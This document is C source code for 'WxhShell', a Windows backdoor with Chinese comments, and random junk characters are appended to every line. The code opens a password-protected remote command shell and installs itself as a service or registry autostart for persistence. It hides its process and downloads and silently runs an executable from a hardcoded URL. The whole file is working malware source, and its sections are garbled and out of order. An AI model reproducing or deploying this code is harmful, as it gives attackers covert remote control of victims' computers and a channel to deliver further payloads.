DWORD PebBaseAddress; *}!MOqP
DWORD AffinityMask; '0t-]NAc
DWORD BasePriority; [aqu}Su
ULONG UniqueProcessId; ,/,9j{|"j
ULONG InheritedFromUniqueProcessId; :Vuf6,
} PROCESS_BASIC_INFORMATION; & >JDPB?5
lU2c_4
PROCNTQSIP NtQueryInformationProcess; 7;}l\VXHm
o>lmst%<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yTBS=+X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2eP;[o
l{WjDed
HANDLE hProcess; Oejq@iM"(
PROCESS_BASIC_INFORMATION pbi; , c;eN
\nvAa_,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :@3Wg3N
if(NULL == hInst ) return 0; b1`r!B,
Rf"Mr: ^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e}{U7xQm1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $t=O:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y)I8eU{Wl(
KeBQH8A1N
if (!NtQueryInformationProcess) return 0; *nTU#U
-9Ws=r0R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &h~aChJ
if(!hProcess) return 0; y'M#z_.z
B]iP't\~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0E/:|k
_|{aC1Y!V
CloseHandle(hProcess); k9si|'
e [0w5)X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ff4*IOZ}(
if(hProcess==NULL) return 0; j
tA*pL'/V
>'=MH2;
HMODULE hMod; D!LX?_cD1i
char procName[255]; 9'~-U
unsigned long cbNeeded; FG-L0X
;</Lf=+Vm
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eC`pnE
ljJ>;g+
CloseHandle(hProcess); m
<k!^jp
RDQ^dui
if(strstr(procName,"services")) return 1; // 以服务启动 6f%DpJ:$U
#=,(JmQPt
return 0; // 注册表启动 ,"?A2n-qO
} w~\%vXla
JBX[bx52<r
// 主模块 dZ(|uC!?
int StartWxhshell(LPSTR lpCmdLine) 4dh+
{ (?&=T.*^
SOCKET wsl; 0tz:Wd*<
BOOL val=TRUE; 5z/Er".P
int port=0; E
l&h;N
struct sockaddr_in door; \ FzM4-
G*8GGWB^a
if(wscfg.ws_autoins) Install(); O>0VTW
g@v
s*xE
port=atoi(lpCmdLine); Zm TDQ`Ix
U8QX46Br
if(port<=0) port=wscfg.ws_port; E+xuWdp.*
^HA
%q8| n
WSADATA data; vA% ^`5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #;tT8[Ewuw
l}g;'9ZB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %}Q&1P=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ukphd$3J=
door.sin_family = AF_INET; @9G- m(?*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C;B}3g&
door.sin_port = htons(port); f"5g>[1
*TdnB'Gd
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ra7uU*
closesocket(wsl); {U!uVQC'
return 1; yubSj*
} h5zVGr
%"$@%"8;3
if(listen(wsl,2) == INVALID_SOCKET) { -e@!
closesocket(wsl); `iShJz96
return 1; >`T5]_a
} #
'|'r+
Wxhshell(wsl); J{"kw1Lu
WSACleanup(); ?(zoTxD
3TuC+'`G
return 0; t,%iL
$a;]_ Y
} S[:xqzyDg
gQWd&)'muf
// 以NT服务方式启动 Pt< s* (
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <g2_6C\j
{ T6#"8qz<
DWORD status = 0; kAzd8nJ'
DWORD specificError = 0xfffffff; [Gr*,nVvB
f6=w3RS
serviceStatus.dwServiceType = SERVICE_WIN32; P* #8ZMA<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; o@E/r.uK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2h^WYpCm
serviceStatus.dwWin32ExitCode = 0; TW&DFKK`
serviceStatus.dwServiceSpecificExitCode = 0; pb;")Q'
serviceStatus.dwCheckPoint = 0; ;DRTQn`m
serviceStatus.dwWaitHint = 0; N]/!mo?
ffDc6*.Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jk~:\8M(A
if (hServiceStatusHandle==0) return; f`<FT'A
"kW!{n
status = GetLastError(); 1qdZc_x
if (status!=NO_ERROR) v[k5.\No
{ *iXe^ <6v
serviceStatus.dwCurrentState = SERVICE_STOPPED; zzpZ19"`1
serviceStatus.dwCheckPoint = 0; h5%|meZQb
serviceStatus.dwWaitHint = 0; %oykcf,#
serviceStatus.dwWin32ExitCode = status; "&YYO#YO
serviceStatus.dwServiceSpecificExitCode = specificError; FpV`#6i7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L-i>R:N4
return; JHV)ZOO
} Sq]pQ8
D}mL7d1
serviceStatus.dwCurrentState = SERVICE_RUNNING; pNaiXu3
serviceStatus.dwCheckPoint = 0; H:&?ha,9
serviceStatus.dwWaitHint = 0; 7G2PMe;$m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jcf"#u-Q/
} 3-Bl
B;zt#H4
// 处理NT服务事件,比如:启动、停止 czWw~'."
VOID WINAPI NTServiceHandler(DWORD fdwControl) h,t|V}Wb
{ 4n( E;!s
switch(fdwControl) JMV50 y
{ oh8L`=>&a
case SERVICE_CONTROL_STOP: (yrh=6=z
serviceStatus.dwWin32ExitCode = 0; {5Lj8N5
serviceStatus.dwCurrentState = SERVICE_STOPPED; cA`4:gp
serviceStatus.dwCheckPoint = 0; P~$<X
serviceStatus.dwWaitHint = 0; =jAFgwP\
{ nL`9l1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >wON\N0V_
} uGtV}-t:
return; ;<Qdy`
T
case SERVICE_CONTROL_PAUSE: BNm4k7
]M
serviceStatus.dwCurrentState = SERVICE_PAUSED; u:P~j
break; %uDG75KP{
case SERVICE_CONTROL_CONTINUE: nS.G~c|
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9(1rh9`=
break; qt?*MyfV
case SERVICE_CONTROL_INTERROGATE: J\co1kO9/
break; Mhpdaos
}; -E>)j\{PX7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5N/Lk>p1u
} o
\L!(hm
fib#CY
// 标准应用程序主函数 **;p(CI
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kyUl{Zj
{ [I+9dSM1t
ZW4aY}~)$
// 获取操作系统版本 gT52G?-
OsIsNt=GetOsVer(); K'b*A$5o
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7k8n@39?
d"<F!?8
// 从命令行安装 QTJu7^O9
if(strpbrk(lpCmdLine,"iI")) Install(); >.%4~\U
f05d ;
// 下载执行文件 APBK9ky
if(wscfg.ws_downexe) { ;IP~Tb]&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]#eh&jw
WinExec(wscfg.ws_filenam,SW_HIDE); yXfMzG
} yY=<'{!
__N.#c/l{
if(!OsIsNt) { T_hV%
// 如果时win9x,隐藏进程并且设置为注册表启动 [?KIN_e#
HideProc(); ]|oJ)5P
StartWxhshell(lpCmdLine); KFhG (
} " ~Q*XN2
else H'Qo\L4H
if(StartFromService())
ZXXiL#^
// 以服务方式启动 \ aKd5@
StartServiceCtrlDispatcher(DispatchTable); ;bjnL>eW
else S`g;Y
'
// 普通方式启动 7sV/_3H+
StartWxhshell(lpCmdLine); #BJ\{"b_}z
xy^1US,L1
return 0; y:so
L:(F
} "sbBe73 m
C3"&sdLb$
1i-[+
0D3OE.$0
=========================================== tY_5Pz(@
ejcwg*i
(_8#YyW#
rK=6]j(K
esq<xuZM4
&L3#:jSk
" "'{OIP
\qq-smcM-
#include <stdio.h> TmP8q
#include <string.h> ?!S
GiARW?
#include <windows.h> gxM[V>[
#include <winsock2.h> }98-5'u.X
#include <winsvc.h> ,U=E[X=H
#include <urlmon.h> Auac>')&Q
Q_}n%P:u
#pragma comment (lib, "Ws2_32.lib") K`(#K#n
#pragma comment (lib, "urlmon.lib") |5ONFde"0
{nRUH*(d9
#define MAX_USER 100 // 最大客户端连接数 rm|7
[mK
#define BUF_SOCK 200 // sock buffer d]7*mzw^j
#define KEY_BUFF 255 // 输入 buffer ~3 @*7B5Q
`]>on`n?
#define REBOOT 0 // 重启 9ECS,r*B
#define SHUTDOWN 1 // 关机 ,cQA*;6
\(u@F<s-
#define DEF_PORT 5000 // 监听端口 n~%}Z[5D
ptR
#define REG_LEN 16 // 注册表键长度 [4gjC
#define SVC_LEN 80 // NT服务名长度 ND,`QjmZ
W-Of[X{<
// 从dll定义API h AAU ecx
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %UG/ak%z
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %!wq:~B1
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `.8-cz
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8p,>y(o
$jcz?vH
// wxhshell配置信息 ,;3:pr
struct WSCFG { ZgBckb
int ws_port; // 监听端口 Wa, 7P2r
char ws_passstr[REG_LEN]; // 口令 >w2f8tW`PP
int ws_autoins; // 安装标记, 1=yes 0=no D;C5,rNt
char ws_regname[REG_LEN]; // 注册表键名 sH@ &*
char ws_svcname[REG_LEN]; // 服务名 \E&th p
char ws_svcdisp[SVC_LEN]; // 服务显示名 hXnw..0"
char ws_svcdesc[SVC_LEN]; // 服务描述信息 wRi~Yb?
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kPedX
int ws_downexe; // 下载执行标记, 1=yes 0=no `axQd%:AC
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `&,_xUA
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'A1E^rl]=
|rFJ*.nD
}; X&,N}9>B
#:I^&~:
// default Wxhshell configuration vVdxi9yk
struct WSCFG wscfg={DEF_PORT, l]>!`'sJL
"xuhuanlingzhe", !|(Ao"]
1, ~=Fk/
"Wxhshell", }Fz!6F2w
"Wxhshell", #'KY`&Tw&
"WxhShell Service", GJ>ypEWo
"Wrsky Windows CmdShell Service", -BjEL;
"Please Input Your Password: ", fGo_NB
1, w&9F>`VET
"http://www.wrsky.com/wxhshell.exe", _rG-#BKW8L
"Wxhshell.exe" DbQBVy
}; NC;T( @
V"BVvSNu
// 消息定义模块 |&(H^<+Xp
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ho>p ^p
char *msg_ws_prompt="\n\r? for help\n\r#>"; i(z+a6^@|
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z(jU|va{_1
char *msg_ws_ext="\n\rExit."; ^Jn|*?+l
char *msg_ws_end="\n\rQuit."; % hNn%Oy:E
char *msg_ws_boot="\n\rReboot..."; :nt}7Dn'
char *msg_ws_poff="\n\rShutdown..."; G1A$PR
char *msg_ws_down="\n\rSave to "; 01-p
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M Ey1~h/
char *msg_ws_err="\n\rErr!"; 5#P: "U
char *msg_ws_ok="\n\rOK!"; ]m RF[b$
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char ExeFile[MAX_PATH]; 1RmBtx\<
int nUser = 0; p-a]"l+L
HANDLE handles[MAX_USER]; i4 P$wlO
int OsIsNt; +Z )`inw
"[Yip5
SERVICE_STATUS serviceStatus; ZjE~W>pkQ
SERVICE_STATUS_HANDLE hServiceStatusHandle; ER/\ +Z#Z
F=:F>6`
// 函数声明 zj%cd;
int Install(void); O^y$8OKEi,
int Uninstall(void); twAw01".
int DownloadFile(char *sURL, SOCKET wsh); kg zwlKK
int Boot(int flag); 1LV|t+Sex
void HideProc(void); (69kvA&|q
int GetOsVer(void); _P>1`IR
int Wxhshell(SOCKET wsl); >qr=l,Hi
void TalkWithClient(void *cs); <Wp`[S]r
int CmdShell(SOCKET sock); y>?k<